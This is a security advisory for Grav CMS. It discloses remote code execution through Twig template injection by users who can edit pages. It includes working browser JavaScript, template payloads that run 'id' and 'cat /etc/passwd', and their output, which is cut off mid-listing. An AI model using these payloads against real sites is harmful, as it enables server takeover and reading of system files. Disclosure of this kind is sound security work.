Grav Server Side Template Injection (SSTI) vulnerability
Summary
I found an RCE(Remote Code Execution) by SSTI in the admin screen.
Details
Remote Code Execution is possible by embedding malicious PHP code on the administrator screen by a user with page editing privileges.
PoC
1. Log in to the administrator screen and access the edit screen of the default page "Typography". (http://127.0.0.1:8000/admin/pages/typography)
2. Open the browser's console screen and execute the following JavaScript code to confirm that an arbitrary command (id) is being executed.
```js
(async () => {
const nonce = document.querySelector("input[name=admin-nonce]").value;
const id = document.querySelector("input[name=__unique_form_id__]").value;
const payload = "{{['id']|map('system')|join}}"; // SSTI Payload
const params = new URLSearchParams();
params.append("task", "save");
params.append("data[header][title]", "poc");
params.append("data[content]", payload);
params.append("data[folder]", "poc");
params.append("data[route]", "");
params.append("data[name]", "default");
params.append("data[header][body_classes]", "");
params.append("data[ordering]", 1);
params.append("data[order]", "");
params.append("toggleable_data[header][process]", "on");
params.append("data[header][process][twig]", 1);
params.append("data[header][order_by]", "");
params.append("data[header][order_manual]", "");
params.append("data[blueprint", "");
params.append("data[lang]", "");
params.append("_post_entries_save", "edit");
params.append("__form-name__", "flex-pages");
params.append("__unique_form_id__", id);
params.append("admin-nonce", nonce);
await fetch("http://127.0.0.1:8000/admin/pages/typography", {
method: "POST",
headers: {
"content-type": "application/x-www-form-urlencoded",
},
body: params,
});
window.open("http://127.0.0.1:8000/admin/pages/poc/:preview");
})();
```
Execution Result
- Payload:
{{['id']|map('system')|join}}
```sh
uid=501(<user_name>) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae) uid=501(<user_name>) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae)
```
- Payload:
{{['cat /etc/passwd']|map('system')|join}}
```sh
# User Database # # Note that this file is consulted directly only when the system is running # in single-user mode. At other times this information is provided by # Open Directory. # # See the opendirectoryd(8) man page for additional information about # Open Directory. ## nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false root:*:0:0:System Administrator:/var/root:/bin/sh daemon:*:1:1:System Services:/var/root:/usr/bin/false _uucp:*:4:4:Unix to Unix Copy Protocol:/var/spool/uucp:/usr/sbin/uucico _taskgated:*:13:13:Task Gate Daemon:/var/empty:/usr/bin/false _networkd:*:24:24:Network Services:/var/networkd:/usr/bin/false _installassistant:*:25:25:Install Assistant:/var/empty:/usr/bin/false _lp:*:26:26:Printing Services:/var/spool/cups:/usr/bin/false _postfix:*:27:27:Postfix Mail Server:/var/spool/postfix:/usr/bin/false _scsd:*:31:31:Service Configuration Service:/var/empty:/usr/bin/false _ces:*:32:32:Certificate Enrollment Service:/var/empty:/usr/bin/false _appstore:*:33:33:Mac App Store Service:/var/db/appstore:/usr/bin/false _mcxalr:*:54:54:MCX AppLaunch:/var/empty:/usr/bin/false _appleevents:*:55:55:AppleEvents Daemon:/var/empty:/usr/bin/false _geod:*:56:56:Geo Services Daemon:/var/db/geod:/usr/bin/false _devdocs:*:59:59:Developer Documentation:/var/empty:/usr/bin/false _sandbox:*:60:60:Seatbelt:/var/empty:/usr/bin/false _mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/bin/false _ard:*:67:67:Apple Remote Desktop:/var/empty:/usr/bin/false _www:*:70:70:World Wide Web Server:/Library/WebServer:/usr/bin/false _eppc:*:71:71:Apple Events User:/var/empty:/usr/bin/false _cvs:*:72:72:CVS Server:/var/empty:/usr/bin/false _svn:*:73:73:SVN Server:/var/empty:/usr/bin/false _mysql:*:74:74:MySQL Server:/var/empty:/usr/bin/false _sshd:*:75:75:sshd Privilege separation:/var/empty:/usr/bin/false _qtss:*:76:76:QuickTime Streaming Server:/var/empty:/usr/bin/false _cyrus:*:77:6:Cyrus Administrator:/var/imap:/usr/bin/false _mailman:*:78:78:Mailman List Server:/var/empty:/usr/bin/false _appserver:*:79:79:Application Server:/var/empty:/usr/bin/false _clamav:*:82:82:ClamAV Daemon:/var/virusmails:/usr/bin/false _amavisd:*:83:83:AMaViS Daemon:/var/viru
